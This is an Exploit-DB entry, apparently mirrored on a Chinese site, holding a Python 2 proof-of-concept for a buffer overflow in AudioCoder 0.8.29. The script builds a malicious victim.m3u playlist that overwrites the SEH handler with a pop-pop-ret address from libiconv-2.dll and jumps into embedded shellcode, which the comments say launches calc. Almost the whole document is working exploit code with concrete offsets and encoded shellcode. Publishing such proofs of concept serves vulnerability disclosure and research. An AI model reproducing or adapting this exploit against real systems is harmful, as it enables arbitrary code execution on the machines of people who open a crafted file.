AudioCoder 0.8.29 – Memory Corruption (SEH)

  • 作者： sajith
    日期： 2014-03-30
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/32585/
  • ###########################################################
#[~] Exploit Title: AudioCoder-0.8.29 Memory Corruption to Code execution[SEH]
#[~] Author: sajith
#[~] version: AudioCoder-0.8.29
#[~] vulnerable app link: http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.29.exe
#[~]Tested in windows Xp sp3,english
###########################################################
import struct

raw_input("Letz start fuzzing")

print "POC by sajith shetty"

try:
 f = open("victim.m3u","w")
 header = "http://"
 buffer = 5000
 junk = "\x41" * 757
 nseh = "\xeb\x06\x90\x90"#jmp 6 bytes

 seh = struct.pack('<I',0x66010686)#pop pop ret seq from application dll"libiconv-2.dll"

 junk2 = "\x44" * (buffer - (len(junk+nseh+seh)))
 nops = "\x90" * 100

 #calc shellcode
 shellcode = ("\xb8\x9d\x01\x15\xd1\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x32\x31\x42\x12\x03\x42\x12\x83\x77\xfd\xf7\x24\x7b\x16\x7e"
"\xc6\x83\xe7\xe1\x4e\x66\xd6\x33\x34\xe3\x4b\x84\x3e\xa1\x67"
"\x6f\x12\x51\xf3\x1d\xbb\x56\xb4\xa8\x9d\x59\x45\x1d\x22\x35"
"\x85\x3f\xde\x47\xda\x9f\xdf\x88\x2f\xe1\x18\xf4\xc0\xb3\xf1"
"\x73\x72\x24\x75\xc1\x4f\x45\x59\x4e\xef\x3d\xdc\x90\x84\xf7"
"\xdf\xc0\x35\x83\xa8\xf8\x3e\xcb\x08\xf9\x93\x0f\x74\xb0\x98"
"\xe4\x0e\x43\x49\x35\xee\x72\xb5\x9a\xd1\xbb\x38\xe2\x16\x7b"
"\xa3\x91\x6c\x78\x5e\xa2\xb6\x03\x84\x27\x2b\xa3\x4f\x9f\x8f"
"\x52\x83\x46\x5b\x58\x68\x0c\x03\x7c\x6f\xc1\x3f\x78\xe4\xe4"
"\xef\x09\xbe\xc2\x2b\x52\x64\x6a\x6d\x3e\xcb\x93\x6d\xe6\xb4"
"\x31\xe5\x04\xa0\x40\xa4\x42\x37\xc0\xd2\x2b\x37\xda\xdc\x1b"
"\x50\xeb\x57\xf4\x27\xf4\xbd\xb1\xd8\xbe\x9c\x93\x70\x67\x75"
"\xa6\x1c\x98\xa3\xe4\x18\x1b\x46\x94\xde\x03\x23\x91\x9b\x83"
"\xdf\xeb\xb4\x61\xe0\x58\xb4\xa3\x83\x3f\x26\x2f\x44")
 print len(junk2)
 f.write(header + junk + nseh + seh + nops + shellcode + junk2)
 print "Done!!"

except:
 print "error!"